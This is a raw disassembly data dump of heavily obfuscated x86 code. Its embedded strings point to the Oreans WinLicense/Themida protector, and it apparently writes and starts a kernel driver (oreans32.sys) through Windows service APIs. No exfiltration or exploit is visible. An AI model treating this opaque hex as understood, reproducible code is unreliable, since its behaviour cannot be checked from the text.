dd 25A9B83h, 0BD9F0000h, 60FD8318h, 0C35C2479h, 1B13C5D6h
dd 0C25B1D7Eh, 0BCCDC6D7h, 594257CEh, 94098CA7h, 584552CCh
dd 8A138CA0h, 12B8E6A6h, 612FE9Fh, 9B2EF6D5h, 7AF10BC3h
dd 0E410945Fh, 0F56A9438h, 797760F8h, 0DF9FE77Dh, 9F211501h
dd 30DE1683h, 829C1EAEh, 5ED08815h, 0A3418D41h, 12FEA419h
dd 15809B0Dh, 60945ADEh, 0E6F36FE1h, 0D2D192FEh, 7E680BF2h
dd 1E4h, 0EDAE0B29h, 0B2EBF66Bh, 0F7A4312Eh, 0ABF0E981h
dd 9D3C35h, 0ADC44633h, 72E96F2Ch, 0ACC23667h, 76EA6E2Fh
dd 507C3469h, 0FE9D2892h, 4C6F1C12h, 6673EB15h, 5AED098Bh
dd 0A937974Fh, 1501DEE5h, 5F7D7D9h, 9C2B7069h, 6B795515h
dd 12FEA467h, 36AA494Fh, 0B9579A3Fh, 0A2BB2E47h, 0B638BC37h
dd 93535AE5h, 0A427A53Bh, 8D1312FEh, 617EF266h, 0C2DF536Dh
dd 6F558B2Fh, 6B12FEA4h, 0DC55AB45h, 1ABA39BDh, 4E4F48E4h
dd 0EA09968Ah, 63C08278h, 0EDEA8671h, 0CD2F6B0h, 12FEA4A6h
dd 0A4CCF6ACh, 26C812FEh, 80FAFA9Ch, 0E914C5ECh, 680F0D63h
dd 8B8F233h, 0AA44B3E7h, 1B5CD547h, 0FF273F85h, 3BB53B12h
dd 0E9DB48B8h, 895021Eh, 31C0D950h, 3CE9DBC1h, 36338B48h
dd 25EE5D1Dh, 41D8F67h, 0D9500895h, 6729EA92h, 0BF2CECBh
dd 777A7417h
dd 5E6E6B05h, 28B6C15Ch, 12FEB6A2h, 13DE1096h, 0EEDE6591h
dd 0ADC4B79Dh, 75E96F2Ch, 2520606Ch, 1F784896h, 0F28201F5h
dd 9B0D6606h, 0E0C6F6BEh, 0F5211B4Dh, 7E445A72h, 7A6AF223h
dd 41338074h, 801DBAB6h, 787B64F8h, 856C6D04h, 0DB546620h
dd 0FBE936BEh, 1A831C10h, 5C9B4C34h, 3AE2B5EAh, 852C40BAh
dd 0B7569623h, 8F0820CBh, 11849F61h, 3C8714DFh, 0E33A6864h
dd 1963BF67h, 6E390697h, 0F48816B6h, 125C90B4h, 8C6770E8h
dd 0DB6D88DAh, 1ED0EB43h, 6B8628D6h, 1F7C65F9h, 15DCC559h
dd 0E0802587h, 4A741A73h, 0E12EC6D3h, 8B1408F3h, 0C5D24E12h
dd 13A2BA2Eh, 0DE7FE7CDh, 0D78FE393h, 58C43604h, 0AE45AB45h
dd 62674DBEh, 88527826h, 0A04693DEh, 5946DA54h, 0A6D54B75h
dd 0DE88D2F8h, 0CE20C693h, 7855A123h, 80736C00h, 396h
dd 844FF700h, 41B01547h, 0AB4653CFh, 37BA2739h, 0C82BAEC5h
dd 35BCDD54h, 0C42FAAC3h, 34BFD850h, 0BF32AFC0h, 2AC9D04Dh
dd 1BF3685Dh, 4890000h, 50AD6824h, 3C890000h, 0E3895324h
dd 4C381h, 0EB810000h, 4, 5C241C87h, 68242C89h, 9379E21h
dd 81243C8Bh, 4C4h, 2C8B5400h, 4C48324h, 51F98951h, 5908458Fh
dd 57242C8Bh, 0C781E789h, 4, 4C781h, 3C870000h, 3C8B5C24h
dd 0E2895224h, 4C281h, 0C2810000h, 4, 5C241487h, 0FDD83BE9h
dd 0CAA5F8FFh, 6144B347h, 0A3F2BEB3h, 0A627B89Fh, 0C5030937h
dd 5E71E0FFh, 23CF25DEh, 1B5D222Bh, 1B2B1CB2h, 0CB112425h
dd 0E52936E2h, 4D5933B9h, 37934B6Ch, 786A1649h, 0D3A3BF1h
dd 0F95E4D0Eh, 43D00952h, 0C9601FC5h, 500926D2h, 0E1555D1Fh
dd 3A223D74h, 7583D99h, 0D7961A44h, 4378689Bh, 0D77643F8h
dd 76AD1460h, 0CBEB7E5Dh, 0A6BC0F1Bh, 0F21F32A3h, 4472237Eh
dd 72E90AD7h, 60000000h, 41DBD83h, 0F000935h, 584h, 5DE900h
dd 6A0000h, 0F303E80h, 885h, 46006A00h, 35E9h, 333E8000h
dd 8850Fh, 106A0000h, 24E946h, 3E800000h, 8850F34h, 6A000000h
dd 13E94630h, 80000000h, 850F353Eh, 8, 0E946406Ah, 2, 858D006Ah
dd 9351E11h, 24048950h, 6A965096h, 0A195FF00h, 61093525h
dd 9D85C6C3h, 4D093517h, 4E8h, 3576A800h, 448B50A4h, 8B0424h
dd 4244489h, 7DB5FF58h, 8D093505h, 35389885h, 89D0FF09h
dd 3525A185h, 5C1EEB09h, 535C2E5Ch, 454349h, 5C2E5C5Ch
dd 56574953h, 5C004449h, 4E5C2E5Ch, 45434954h, 8BC08B00h
dd 3527618Dh, 0A1BD8309h, 93526h, 0BD830975h, 9353079h
dd 50197400h, 0B8C08B53h, 40Fh, 2AC18589h, 9D8D0935h, 937B438h
dd 585BD3FFh, 3079BD83h, 74000935h, 0B8535017h, 40Fh, 2AC18589h
dd 9D8D0935h, 937B127h, 585BD3FFh, 0D598D03h, 0DD800935h
dd 89C08B0Bh, 350F0DB5h, 12E909h, 2E3C0000h, 0EDFDEB2Ch
dd 0E1831778h, 0B5723902h, 0ED54F972h, 179D85C6h, 6A430935h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h
dd 45000000h, 0C43CC355h, 6C2C298Ah, 0E09B58Bh, 8B660935h
dd 95B58BF1h, 0E809352Ch, 4, 0BC8E6EFCh, 0F5055B5h, 83h
dd 24448B00h, 97BA6604h, 0E9008B1Dh, 13h, 0FC30B83Fh, 0C46BF375h
dd 0DFA7538Bh, 0A2A8277Dh, 89BB1C7Ch, 8B042444h, 9D0158FEh
dd 9350C51h, 0EC9B5FFh, 6A0935h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 180424h, 51410000h, 28C903C3h, 0EE80A732h
dd 98858D8Eh, 0F093538h, 688h, 0FDB58B00h, 8B093503h, 6AD0FFF9h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h
dd 46000000h, 2129C356h, 4A619D35h, 0BEFC052Dh, 8340B6Eh
dd 0BB666050h, 896193C9h, 81662404h, 6A9555C1h, 0E8F28B00h
dd 4, 80h, 24448B50h, 11E804h, 9A4A0000h, 0CB3C18D9h, 90D78930h
dd 76413D18h, 5A598054h, 0BF66008Bh, 4489C826h, 9E80424h
dd 89000000h, 2CCFDA93h, 99442B9Ah, 5859D68Bh, 0BE860h
dd 0CBF70000h, 9640FC2Dh, 7E8EA30h, 840F98h, 5B000000h
dd 0B89ABF66h, 6A036A61h, 898D8B00h, 6A093516h, 12E903h
dd 6C470000h, 0D33BBEBAh, 2460D564h, 43AB19A8h, 9490A37Dh
dd 1B25D668h, 3E51B970h, 48126E0h, 0E4DA2A24h, 57006A4Fh
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
dd 0B595A243h, 533B3EFBh, 0A18D3157h, 8D09352Ch, 37A7BD9Dh
dd 178E0F09h, 0E9000000h, 12h, 93C61745h, 0BFD99B29h, 31ED8C8Bh
dd 743E4A28h, 50FC2E3Fh, 1C8954B1h, 6830F24h, 31000000h
dd 35243DB5h, 33D0FF09h, 35037D8Dh, 850F4009h, 24Eh, 58F2B70Fh
dd 39E28166h, 10E96Fh, 0D5C10000h, 0B4DF687Bh, 0CC155A86h
dd 7199CCFEh, 8950E404h, 0B5892404h, 9352571h, 2361BD89h
dd 6A0935h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 17h, 0A8C35040h, 6802CA3Eh, 0D3208490h, 0F0240481h
dd 6A2CDF7Bh, 53006A03h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1504h, 0C3534300h, 8B66AE12h, 66006AFBh, 36AD18Bh, 2EF58D0Bh
dd 4680935h, 60F44F1Bh, 0E427B860h, 66B87FBDh, 614CB1EFh
dd 61C68B66h, 4243481h, 66344F1Bh, 8D0D3CBEh, 37A7C69Dh
dd 0D1B58B09h, 89093505h, 3524BDB5h, 8B669309h, 59BF50F9h
dd 93456E8Bh, 0A358D09h, 0D0FF0935h, 880Fh, 0F400000h
dd 17185h, 598D0300h, 6009350Bh, 0B1BD8B53h, 5809350Eh
dd 61CE8B66h, 8F0F6058h, 6, 1D4DBD23h, 89610935h, 350625B5h
dd 0BE665009h, 489D855h, 6A006A24h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 4D82C355h
dd 288DBD8Bh, 46680935h, 0E9A1308Ah, 0Bh, 0E4D67487h, 47BB9398h
dd 8113B49Ah, 763A2404h, 0B70F5ECFh, 6A036AD6h, 0FDBD8B00h
dd 6A09352Bh, 15958B03h, 0E8093526h, 4, 0C0000000h, 5050F38Bh
dd 5727BA52h, 310F46FBh, 4820Fh, 0BA660000h, 585AEB61h
dd 424448Bh, 42B9008Bh, 894DA181h, 50042444h, 81BF6652h
dd 66310F9Fh, 585ACF8Bh, 0E18D8958h, 8D09352Ch, 37A7D19Dh
dd 38B55109h, 5250505Ah, 890Fh, 310F0000h, 1C89585Ah, 56006A24h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
dd 0A0043D6Dh, 0A571E824h, 0B58925F9h, 9350D21h, 8BC8B70Fh
dd 352F41B5h, 0E9D0FF09h, 11h, 66CC3D65h, 0A71A9957h, 0DF9A483Ch
dd 610CB1B6h, 850F402Bh, 3Ah, 68E0Fh, 8D8B0000h, 9352261h
dd 0D1858958h, 0E9093523h, 0F9h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 14h, 8BC35545h, 1099B58Bh, 0D88B0935h
dd 0E2ADC981h, 0E84B2E88h, 8, 0E283C274h, 0E3680FFCh, 74ABB966h
dd 85C6585Ah, 935179Dh, 66FB8B43h, 68B316BEh, 4735B929h
dd 5E8h, 0E5475C00h, 0D78B7D87h, 2404815Fh, 7940917Eh
dd 0D4E4BA66h, 8E8h, 9213EF00h, 0D5BB694Bh, 38B0FBDh, 66000000h
dd 0FF59F78Bh, 350EC9B5h, 6D9D8909h, 8D09352Eh, 35389885h
dd 0C18D8B09h, 0FF09351Dh
dd 51006AD0h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h
dd 0C3514100h, 43C16182h, 0CB6C6613h, 2331958Bh, 8A500935h
dd 241C89CCh, 321DB589h, 0D0FF0935h, 0F31BD03h, 9D8D0935h
dd 9357099h, 6E9h, 1AAC0E00h, 0B8FC07FCh, 1, 12A18529h
dd 0E3FF0935h, 50D98166h, 80C18BB3h, 0C08B69C1h, 7E8h
dd 0DDC77600h, 0C5D42F64h, 1DED9D89h, 835F0935h, 3526A1BDh
dd 9750009h, 3079BD83h, 74000935h, 8B535019h, 40FB8C0h
dd 85890000h, 9352CA9h, 0B49F9D8Dh, 0D3FF0937h, 0BD83585Bh
dd 9353079h, 50177400h, 40FB853h, 85890000h, 9352CA9h
dd 0B1409D8Dh, 0D3FF0937h, 880F585Bh, 6, 245DB589h, 0BF0F0935h
dd 0E8C08BFAh, 10h, 3E299CD1h, 83C3CA59h, 9C0B6EEDh, 19F47F6Bh
dd 4E98160h, 0E930B9F3h, 12h, 0B1D5D7F4h, 7AF66191h, 0BEBCFC29h
dd 71FC4CC5h, 5F618431h, 81F2D680h, 6C7AC7h, 0D0B70F00h
dd 91FBEDB9h, 0FEC1811Ah, 8BE56E1Eh, 352E4585h, 8037FF09h
dd 295E1EDCh, 352E31B5h, 4EEE8109h, 9176D25h, 3517519Dh
dd 2EE8109h, 8B78E761h, 3531AD9Dh, 0B0C68109h, 8B4A954Fh
dd 35003995h, 858B5609h, 9351B25h, 0E28A078Fh, 8004EF83h
dd 0E98102F6h, 1, 13850Fh, 81660000h, 0E965D7EAh, 2Eh
dd 21041C97h, 12B1848Ah, 11E902h, 0EBEC0000h, 2170223Dh
dd 0E95150BEh, 1C26E8C3h, 0E90BC045h, 0FFFFFF85h, 5F8F12ECh
dd 59E83CC7h, 0AAE9C2CCh, 53000000h, 7774666Fh, 5C657261h
dd 4C6E6957h, 6E656369h, 43006573h, 6B636568h, 58004E49h
dd 746F7270h, 74697845h, 65684300h, 554F6B63h, 69570054h
dd 63694C6Eh, 65736E65h, 73726556h, 6E6F69h, 4C6E6957h
dd 6E656369h, 72446573h, 72657669h, 73726556h, 6E6F69h
dd 4C6E6957h, 6E656369h, 6E496573h, 6E617473h, 45006563h
dd 4F746978h, 7250006Bh, 4E49636Fh, 6F725000h, 54554F63h
dd 69784500h, 4E4974h, 74697845h, 54554Fh, 4E497054h, 3 dup(0)
dd 0DDAF7F00h, 0DD72F077h, 596E977h, 85890000h, 937AF5Bh
dd 0AF57858Dh, 8D500937h, 37AEC185h, 1685009h, 0FF800000h
dd 37AF6795h, 0FF196A09h, 37AF5BB5h, 6A016A09h, 0F0858D00h
dd 500937AEh, 0AF57B5FFh, 95FF0937h, 9350325h, 0AF57B5FFh
dd 95FF0937h, 937AF63h, 0AF57B5FFh, 95FF0937h, 9351AEDh
dd 5B8589C3h, 8D0937AFh, 37AF5785h, 858D5009h, 937AEC1h
dd 16850h, 95FF8000h, 937AF67h, 858D046Ah, 937AF5Bh, 6A046A50h
dd 1A858D00h, 500937AFh, 0AF57B5FFh, 95FF0937h, 9350325h
dd 0AF57B5FFh, 95FF0937h, 937AF63h, 0AF57B5FFh, 95FF0937h
dd 9351AEDh, 5B8589C3h, 8D0937AFh, 37AF5785h, 858D5009h
dd 937AEC1h, 16850h, 95FF8000h, 937AF67h, 858D046Ah, 937AF5Bh
dd 6A046A50h, 2858D00h, 500937AFh, 0AF57B5FFh, 95FF0937h
dd 9350325h, 0AF57B5FFh, 95FF0937h, 937AF63h, 0AF57B5FFh
dd 95FF0937h, 9351AEDh, 5B8589C3h, 8D0937AFh, 37AF5785h
dd 858D5009h, 937AEC1h, 16850h, 95FF8000h, 937AF67h, 858D046Ah
dd 937AF5Bh, 6A046A50h, 2D858D00h, 500937AFh, 0AF57B5FFh
dd 95FF0937h, 9350325h, 0AF57B5FFh, 95FF0937h, 937AF63h
dd 0AF57B5FFh, 95FF0937h, 9351AEDh, 5B8589C3h, 8D0937AFh
dd 37AF5785h, 858D5009h, 937AEC1h, 16850h, 95FF8000h, 937AF67h
dd 858D046Ah, 937AF5Bh, 6A046A50h, 0DD858D00h, 500937AEh
dd 0AF57B5FFh, 95FF0937h, 9350325h, 0AF57B5FFh, 95FF0937h
dd 937AF63h, 0AF57B5FFh, 95FF0937h, 9351AEDh, 69BD83C3h
dd 9351Ch, 0B840Fh, 9D8B0000h, 9351C69h, 894CC383h, 0BD83C303h
dd 9351C69h, 0B840F00h, 8B000000h, 351C699Dh, 50C38309h
dd 83C30389h, 351C69BDh, 840F0009h, 0Bh, 1C699D8Bh, 0C3830935h
dd 0C3038954h, 1C69BD83h, 0F000935h, 0B84h, 699D8B00h
dd 8309351Ch, 38958C3h, 69BD83C3h, 9351Ch, 0B840Fh, 9D8B0000h
dd 9351C69h, 895CC383h, 60C3C303h, 0AF5B8589h, 858D0937h
dd 937AF57h, 0C1858D50h, 500937AEh, 168h, 6795FF80h, 6A0937AFh
dd 5B858D04h, 500937AFh, 6A046Ah, 0AF52858Dh, 0FF500937h
dd 37AF57B5h, 2595FF09h, 83093503h, 3526A1BDh, 840F0009h
dd 0Ch, 0AF57B5FFh, 95FF0937h, 937AF63h, 0AF57B5FFh, 95FF0937h
dd 9351AEDh, 8960C361h, 37AF5B85h, 57858D09h, 500937AFh
dd 0AEC1858Dh, 68500937h, 80000001h, 0AF6795FFh, 46A0937h
dd 0AF5B858Dh, 6A500937h, 8D006A04h, 37AF3485h, 0B5FF5009h
dd 937AF57h, 32595FFh, 0BD830935h, 93526A1h, 0C840F00h
dd 0FF000000h, 37AF57B5h, 6395FF09h, 0FF0937AFh, 37AF57B5h
dd 0ED95FF09h, 6109351Ah, 858960C3h, 937AF5Bh, 0AF57858Dh
dd 8D500937h, 37AEC185h, 1685009h, 0FF800000h, 37AF6795h
dd 8D046A09h, 37AF5B85h, 46A5009h, 858D006Ah, 937AF3Bh
dd 57B5FF50h, 0FF0937AFh, 35032595h, 0A1BD8309h, 93526h
dd 0C840Fh, 0B5FF0000h, 937AF57h, 0AF6395FFh, 0B5FF0937h
dd 937AF57h, 1AED95FFh, 0C3610935h, 5B858960h, 8D0937AFh
dd 37AF5785h, 858D5009h, 937AEC1h, 16850h, 95FF8000h, 937AF67h
dd 858D046Ah, 937AF5Bh, 6A046A50h, 43858D00h, 500937AFh
dd 0AF57B5FFh, 95FF0937h, 9350325h, 26A1BD83h, 0F000935h
dd 0C84h, 57B5FF00h, 0FF0937AFh, 37AF6395h, 57B5FF09h
dd 0FF0937AFh, 351AED95h, 60C36109h, 0AF5B8589h, 858D0937h
dd 937AF57h, 0C1858D50h, 500937AEh, 168h, 6795FF80h, 6A0937AFh
dd 5B858D04h, 500937AFh, 6A046Ah, 0AF4A858Dh, 0FF500937h
dd 37AF57B5h, 2595FF09h, 83093503h, 3526A1BDh, 840F0009h
dd 0Ch, 0AF57B5FFh, 95FF0937h, 937AF63h, 0AF57B5FFh, 95FF0937h
dd 9351AEDh, 0C760C361h, 37AF5B85h, 109h, 57858D00h, 500937AFh
dd 0AEC1858Dh, 68500937h, 80000002h, 0AF6795FFh, 0C00B0937h
dd 0F840Fh, 85C70000h, 937AF5Bh, 0
dd 4DE9h, 8D046A00h, 37AF5B85h, 46A5009h, 858D006Ah, 937AED5h
dd 57B5FF50h, 0FF0937AFh, 35032595h, 0FC00B09h, 0F84h
dd 5B85C700h, 937AFh, 0E9000000h, 0Ah, 0AF5B85C7h, 10937h
dd 0B5FF0000h, 937AF57h, 1AED95FFh, 8B610935h, 37AF5B85h
dd 8960C309h, 37AF5B85h, 57858D09h, 500937AFh, 0AEC1858Dh
dd 68500937h, 80000001h, 0AF6795FFh, 46A0937h, 0AF5B858Dh
dd 6A500937h, 8D006A04h, 37AED585h, 0B5FF5009h, 937AF57h
dd 32595FFh, 0BD830935h, 93526A1h, 0C840F00h, 0FF000000h
dd 37AF57B5h, 6395FF09h, 0FF0937AFh, 37AF57B5h, 0ED95FF09h
dd 6109351Ah, 858960C3h, 937AF5Bh, 0AF57858Dh, 8D500937h
dd 37AEC185h, 1685009h, 0FF800000h, 37AF6795h, 8D046A09h
dd 37AF5B85h, 46A5009h, 858D006Ah, 937AEE7h, 57B5FF50h
dd 0FF0937AFh, 35032595h, 0A1BD8309h, 93526h, 0C840Fh
dd 0B5FF0000h, 937AF57h, 0AF6395FFh, 0B5FF0937h, 937AF57h
dd 1AED95FFh, 0C3610935h, 179D85C6h, 68520935h, 0ADE47B07h
dd 2621B5FFh, 95FF0935h, 9352821h, 0AF678589h, 85C60937h
dd 935179Dh, 0E56852h, 0B5FF902Eh, 9352621h, 282195FFh
dd 85890935h, 937AF63h, 179D85C6h, 68520935h, 0B9BF1235h
dd 2621B5FFh, 95FF0935h, 9352821h, 3258589h, 85C60935h
dd 935179Dh, 10346852h, 0B5FF9878h, 9352621h, 282195FFh
dd 85890935h, 9351AEDh, 179D85C6h, 68520935h, 0C005DBD4h
dd 2621B5FFh, 95FF0935h, 9352821h, 1EFD8589h, 99E90935h
dd 2F000000h, 63677562h, 6B636568h, 622F0032h, 68636775h
dd 6B6365h, 726F662Fh, 75726563h, 622F006Eh, 68636775h
dd 666B6365h, 6C6C75h, 6F68732Fh, 646F6377h, 732F0065h
dd 63776F68h, 3265646Fh, 6C632F00h, 2F007472h, 31736964h
dd 68732F00h, 6E69776Fh, 6E617473h, 2F006563h, 77746567h
dd 6174736Ch, 737574h, 676F6C2Fh, 74617473h, 2F007375h
dd 706D7564h, 74617473h, 7375h, 2F000000h, 63656863h, 6F72706Bh
dd 74636574h, 6E6F69h, 0
aG7 db '┐╫!╤7',9,0
db 0Fh
dd 0A84h, 7985C700h, 1093530h, 0C6000000h, 35179D85h, 4E84709h
dd 8D000000h, 50906D6Ch, 424448Bh, 4489008Bh, 0FF580424h
dd 350EC9B5h, 98858D09h, 0FF093538h, 8BD0FFD0h, 223F80F8h
dd 22850Fh, 0B0470000h, 850FAE22h, 0FFFFFFF9h, 0F003F80h
dd 31884h, 3F804700h, 0E840F00h, 0E9000003h, 1Eh, 0F003F80h
dd 30084h, 203F8000h, 6850Fh, 0E9470000h, 6, 0FFE2E947h
dd 3F80FFFFh, 5850F00h, 0E9000000h, 2DDh, 1E9h, 3F804700h
dd 0F6840F20h, 80FFFFFFh, 850F003Fh, 5, 2C0E9h, 0AE800h
dd 0CBE90000h, 0E9FFFFFFh, 2B1h, 0B5A1B58Dh, 25E80937h
dd 3000002h, 37B636BDh, 36BD8309h, 937B6h, 0B840Fh, 85C70000h
dd 93526A1h, 1, 0ACB58DC3h, 0E80937B5h, 1FCh, 0B636BD03h
dd 0BD830937h, 937B636h, 0B840F00h, 0C7000000h, 35307985h
dd 109h, 0B58DC300h, 937B625h, 1D3E8h, 36BD0300h, 830937B6h
dd 37B636BDh, 840F0009h, 0Bh, 41D85C7h, 10935h, 8DC30000h
dd 37B5B6B5h, 1AAE809h, 0BD030000h, 937B636h, 0B636BD83h
dd 0F000937h, 0B84h, 7985C700h, 1093530h, 0C3000000h, 0B5C0B58Dh
dd 81E80937h, 3000001h, 37B636BDh, 36BD8309h, 937B6h, 15840Fh
dd 85C70000h, 9353079h, 1, 26A185C7h, 10935h, 8DC30000h
dd 37B5CEB5h, 14EE809h, 0BD030000h, 937B636h, 0B636BD83h
dd 0F000937h, 0A84h, 9585C700h, 109350Dh, 8D000000h, 37B5D8B5h
dd 126E809h, 0BD030000h, 937B636h, 0B636BD83h, 0F000937h
dd 0A84h, 9585C700h, 109350Dh, 8D000000h, 37B5E3B5h, 0FEE809h
dd 0BD030000h, 937B636h, 0B636BD83h, 0F000937h, 0A84h
dd 8585C700h, 1093507h, 8D000000h, 37B5E9B5h, 0D6E809h
dd 0BD030000h, 937B636h, 0B636BD83h, 0F000937h, 0A84h
dd 2185C700h, 109351Ch, 8D000000h, 37B5EFB5h, 0AEE809h
dd 0BD030000h, 937B636h, 0B636BD83h, 0F000937h, 0A84h
dd 985C700h, 1093523h, 8D000000h, 37B5FDB5h, 86E809h, 0BD030000h
dd 937B636h, 0B636BD83h, 0F000937h, 0A84h, 0A585C700h
dd 109352Dh, 8D000000h, 37B60AB5h, 5EE809h, 0BD030000h
dd 937B636h, 0B636BD83h, 0F000937h, 0A84h, 5585C700h, 1093528h
dd 8D000000h, 37B615B5h, 36E809h, 0BD030000h, 937B636h
dd 0B636BD83h, 0F000937h, 0A84h, 0C585C700h, 1093524h
dd 0E9000000h, 1, 203F8047h, 9840Fh, 3F800000h, 0ED850F00h
dd 0C3FFFFFFh, 1B960h, 0DE8B0000h, 19E9h, 3F8000h, 2850Fh
dd 0C92B0000h, 1638178Ah, 2840Fh, 0C92B0000h, 3E804746h
dd 8840F00h, 0B000000h, 0D6850FC9h, 0BFFFFFFh, 21840FC9h
dd 80000000h, 840F003Fh, 9, 0F203F80h, 0A85h, 1B900h, 5E90000h
dd 0B9000000h, 0
dd 840FC90Bh, 0Dh, 0B589F32Bh, 937B636h, 0AE9h, 3685C700h
dd 937B6h, 61000000h, 0E8C88BC3h, 9, 5453AADAh, 0CFD6E18Fh
dd 953159E8h, 9352A7Dh, 5E6EC181h, 4EB00000h, 177168h
dd 958B5000h, 935265Dh, 0BF0F5E5Ah, 8031FFD7h, 665F25E4h
dd 0F781D88Bh, 155FD017h, 0D98D8960h, 52093529h, 2AC5BD8Bh
dd 61580935h, 0ABB5F781h, 0BE83E3Eh, 0F1000000h, 6AF7BFB5h
dd 3E455A96h, 3CB255DDh, 85C7815Ah, 0E96D8BBDh, 0Dh, 0B684916Ah
dd 0A40A1678h, 3B95B005h, 8B398900h, 35089185h, 2DE98109h
dd 231282A0h, 352F0995h, 29C18109h, 891282A0h, 3511A195h
dd 1EE8109h, 0F000000h, 0FFFF8485h, 3810FFFh, 80000000h
dd 0EE955E3h, 33000002h, 6E6E6143h, 7720746Fh, 65746972h
dd 65726F20h, 2E736E61h, 0A647876h, 6B614D0Dh, 75732065h
dd 74206572h, 20746168h, 73696874h, 6C696620h, 73692065h
dd 746F6E20h, 69656220h, 7520676Eh, 20646573h, 61207962h
dd 68746F6Eh, 70207265h, 72676F72h, 2E6D61h, 67h dup(0)
dd 5C000000h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0)
dd 0EFE900h, 85C60000h, 935179Dh, 5B866847h, 0B5FFE3E4h
dd 9350EC9h, 3898858Dh, 0D0FF0935h, 10468h, 0D99D8D00h
dd 53093512h, 8D50D0FFh, 37BC65B5h, 32FE8B09h, 850FAEC0h
dd 0FFFFFFF9h, 0CF8BFE2Bh, 3FB8B58h, 0C6A4F3F8h, 35179D85h
dd 0FC684309h, 0FFBC8E6Eh, 350EC9B5h, 98858D09h, 0FF093538h
dd 0D9B58DD0h, 6A093512h, 806800h, 26A0000h, 6A006Ah, 68h
dd 0D0FF56C0h, 85C6D88Bh, 935179Dh, 0EE566857h, 0B5FFA69Bh
dd 9350EC9h, 3898858Dh, 0D0FF0935h, 439BD8Dh, 8D8D0935h
dd 937BD8Bh, 6857006Ah, 37D0h, 0D0FF5351h, 850FC085h, 1Bh
dd 0BA6DB58Dh, 858D0937h, 937A719h, 8D8DD0FFh, 9357099h
dd 0B8h, 0C6E1FF00h, 35179D85h, 0A7684309h, 0FFC0764Ah
dd 350EC9B5h, 98858D09h, 0FF093538h, 0D0FF53D0h, 37D0B9C3h
dd 0E80000h, 58000000h, 890EC083h, 2E908h, 0C38B0000h
dd 37D0E9h, 905A4D00h, 300h, 400h, 0FFFF00h, 0B800h, 0
dd 4000h, 8 dup(0)
dd 0B000h, 0BA1F0E00h, 9B4000Eh, 1B821CDh, 5421CD4Ch, 20736968h
dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h
dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0
dd 1D175D00h, 737619DBh, 2 dup(73761988h), 6156E588h, 73761888h
dd 73761988h, 73761888h, 63695288h, 73761968h, 88h, 0
dd offset dword_450050+4BB0h
dd 0
dd 4000200h, 0
dd 3800000h, 1400h, 4 dup(0)
dd 20000h, 1C000h, 9000h, 0
dd 7E00h, 0
dd 0C400h, 100h, 0DC00h, 3 dup(0)
dd 12C00h, 13800h, 2 dup(0)
dd 14200h, 19600h, 1D200h, 0
dd 1D200h, 0
dd 100000h, 1400h, 37C000h, 1000h, 0Dh dup(0)
dd 27C004h, 0
dd 204500h, 100h, 1400h, 4F434C00h, 1000044h, 2000000h
dd 3000000h, 4000000h, 5000000h, 6000000h, 7000000h, 8000000h
dd 9000000h, 0A000000h, 0B000000h, 0C000000h, 0D000000h
dd 0E000000h, 0F000000h, 10000000h, 11000000h, 12000000h
dd 13000000h, 14000000h, 50580800h, 56544F52h, 4458h, 1030100h
dd 300h, 0
dd 13h dup(7000000h), 3C000000h, 7000000h, 1001800h, 72760h
dd 500101ADh, 91000700h, 279B0101h, 1060027h, 179276Fh
dd 181017Dh, 1890185h, 7018Dh, 95010175h, 71000727h, 27980101h
dd 16B0007h, 277101h, 360h dup(0)
dd 40000h, 100h, 52505800h, 5856544Fh, 44h, 80h, 8 dup(0)
dd 72657600h, 5050h, 73763100h, 73763252h, 73763352h, 52h
dd 9C3h dup(0)
dd 1BE88300h, 7309F883h, 8524FF07h, 0
dd 0C3F8h, 8 dup(0)
dd 0C0330000h, 0C3C033C3h, 0C7E83h, 0C0330475h, 7E831AEBh
dd 1475010Ch, 58Dh, 7E8B0000h, 0C7078918h, 42046h, 0C0330000h
dd 50580CC3h, 56544F52h, 445F4458h, 4244h, 10A9E900h, 44410000h
dd 49504156h, 442E3233h, 4F004C4Ch, 536E6570h, 6E614D43h
dd 72656761h, 72430041h, 65746165h, 76726553h, 41656369h
dd 61745300h, 65537472h, 63697672h, 47004165h, 614E7465h
dd 65766974h, 74737953h, 6E496D65h, 4F006F66h, 536E6570h
dd 69767265h, 416563h, 656C6544h, 65536574h, 63697672h
dd 6C430065h, 5365736Fh, 69767265h, 61486563h, 656C646Eh
dd 6E6F4300h, 6C6F7274h, 76726553h, 656369h, 8 dup(0)
aOreans32_sys db 'oreans32.sys',0
align 4
dd 0
dd 65726F00h, 78736E61h, 732E3436h, 7379h, 0
dd 6F000000h, 6E616572h, 323373h, 5C2E5C5Ch, 6165726Fh
dd 3233736Eh, 2E5C5C00h, 6F6C475Ch, 5C6C6162h, 6165726Fh
dd 3233736Eh, 65726F00h, 78736E61h, 5C003436h, 475C2E5Ch
dd 61626F6Ch, 726F5C6Ch, 736E6165h, 343678h, 42h dup(0)
aSystemroot db 'SYSTEMROOT',0
aSSystem32Drive db '%s\system32\drivers\%s',0
aSSyswow64Drive db '%s\syswow64\drivers\%s',0
aSSystem32Dri_0 db '%s\system32\drivers\oreans32.sys',0
align 10h
dd 48h dup(0)
dd 43330000h, 6F6E6E61h, 70552074h, 65746164h, 65726F20h
dd 2E736E61h, 20737973h, 76697264h, 202E7265h, 61656C50h
dd 202C6573h, 656B616Dh, 72757320h, 68742065h, 79207461h
dd 6820756Fh, 0A657661h, 6D64610Dh, 73696E69h, 74617274h
dd 7327726Fh, 72657020h, 7374696Dh, 65687420h, 72696620h
dd 74207473h, 20656D69h, 74616874h, 756F7920h, 65726120h
dd 696F6720h, 7420676Eh, 7572206Fh, 6874206Eh, 70207369h
dd 72676F72h, 2E6D61h, 59h dup(0)
